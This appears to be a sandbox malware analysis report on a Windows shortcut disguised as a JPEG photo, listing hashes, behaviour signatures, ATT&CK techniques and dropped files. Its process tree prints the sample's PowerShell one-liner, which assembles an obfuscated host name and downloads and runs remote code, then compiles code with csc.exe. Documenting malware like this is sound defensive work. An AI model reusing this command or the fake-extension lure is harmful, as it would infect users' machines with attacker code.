acbb1e2a376ad41302d859985b949d4fdc46d632889d47242c6f4f43ebbab32f

Analysis

max time kernel
150s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_143245.jpg.lnk
Size 1KB
Sample260725-m7le2ahc39
SHA256 acbb1e2a376ad41302d859985b949d4fdc46d632889d47242c6f4f43ebbab32f
MD5 ab3ad5ff3add9c49ec676651bae7890e
SHA1 9ea086aa24463645f8700b11eaa99b4ceda6281b
SHA512 391c9d9aff1d8ec2b72d15bcbda87daad74a8686f27b96b5f8ff609aa30caf641cd8f0649956fa52e0d4d519136b872ed63ab7ce54a44be3fed9a86387599270
TLSH
T11A31D2199BF20268C5B78B3558B6631287217B0EDA4CDFDF1290C2949864111FC78F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2228	powershell.exe
4	2228	powershell.exe
8	2228	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4492	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 2228	4492	cmd.exe	91
PID 2228 wrote to memory of 1488	2228	powershell.exe	92
PID 1488 wrote to memory of 6604	1488	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_143245.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ay','r','es','h','vp','.','r','e','toinst','one','o')[6,2,7,1,4,3,10,8,0,5,9] -join $qpm) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5c1rccj0\5c1rccj0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2234.tmp" "c:\Users\Admin\AppData\Local\Temp\5c1rccj0\CSC6AF7F0E5D8D84E55BE6F64C2E5242D50.TMP"
      4⤵
      PID:6604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5c1rccj0.dll

Path C:\Users\Admin\AppData\Local\Temp\5c1rccj0\5c1rccj0.dll
Size 3KB
SHA256 2302c7d7e6d40c4ba97bfdd17f11737bacfe495d0a17884bd0f257df63e86318
MD5 0a703ea047a0c72924aea58e113be685
SHA1 92a5fd19aacf69b43821d1ca9b3e2d5dbad18646
SHA512 01992f4419de53cb352a125cf8b6ddd3255e53d988d5b25a866ba8644f92b35439ea9f5abcdede02ad7faacd0bc0df556a11d2881e9a1f2cc65051cd4fbd1af7
TLSH
T1E651B81693E8066BE8770734AEE343573BB4F8508FB3536959800228AC60A146E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES2234.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2234.tmp
Size 1KB
SHA256 29b40945bc116661496a614ff2c29aff411040a5ed6adce201facf0cb76f3998
MD5 4183eb4a38c8cd7498a9753038ed268e
SHA1 db777432b19b127e3069a3b8620710e3d9a3cb1a
SHA512 e5747bc60ca3ec85569af928f3198cf78db246b8f42309b19bddda7c3f01d5bf68ab13942a3fcf51dd121af5da2be00f429b4e6b5878219edd53731946c3b18f
TLSH
T14E21A60583E8470FF0B70B316AFA532FA634FDA5EFA2975B544142292850908EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

5c1rccj0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5c1rccj0\5c1rccj0.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

5c1rccj0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5c1rccj0\5c1rccj0.cmdline
Size 369B
SHA256 377dbe1ae4769f8c5840d449bb19b49c9ce4a0b9704adf3cefeffaeeebf75339
MD5 5f8e42d762d52645b159dfc0c4b6c823
SHA1 706d5619429ddb9c0f146229028e7f57ab2d009d
SHA512 d23e744a096281834845d34a71663ad892b452071bafff7cb4bda90bc928e5d68cbc4d81e284643db88e780b23a0f1594f01e8bd7b720334a36db79d2764d049
TLSH
T1D1E0C02B836ACB7D05DD100F3169E5ACE27217432D407F845050490DF05700577D2781
MD5 SHA1 SHA512 TLSH

Submit Download

CSC6AF7F0E5D8D84E55BE6F64C2E5242D50.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5c1rccj0\CSC6AF7F0E5D8D84E55BE6F64C2E5242D50.TMP
Size 652B
SHA256 4db6fd4edd4d41f7c37189c9cb7ff254383c0e675781d7814cea209ef8bcd0f3
MD5 27a1780b060261bddbef32ec26641121
SHA1 94b07c15cd195ec24f125c1392e8c1c2347cf6b8
SHA512 31f66369b30954e8267872956bcd3e44a96d8a5681bb0fd72aba8f9f27ff549ffaadec54243b278d17f8720dcd0ec63c63d2fa9986643cb42f270d16d95b71b8
TLSH
T11EF05E0963F8120EF0F74B30BEF6436399A8BC64DE3293ED2841031928649148D62FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2228-10-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-28-0x0000023ED9030000-0x0000023ED9038000-memory.dmp

Download

memory/2228-11-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-12-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-13-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-14-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-9-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-8-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-7-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-2-0x00007FFC6282F000-0x00007FFC62830000-memory.dmp

Download

memory/2228-6-0x0000023ED8B50000-0x0000023ED8B72000-memory.dmp

Download

memory/2228-26-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-3-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-29-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-30-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-31-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-32-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-34-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download

memory/2228-37-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

Download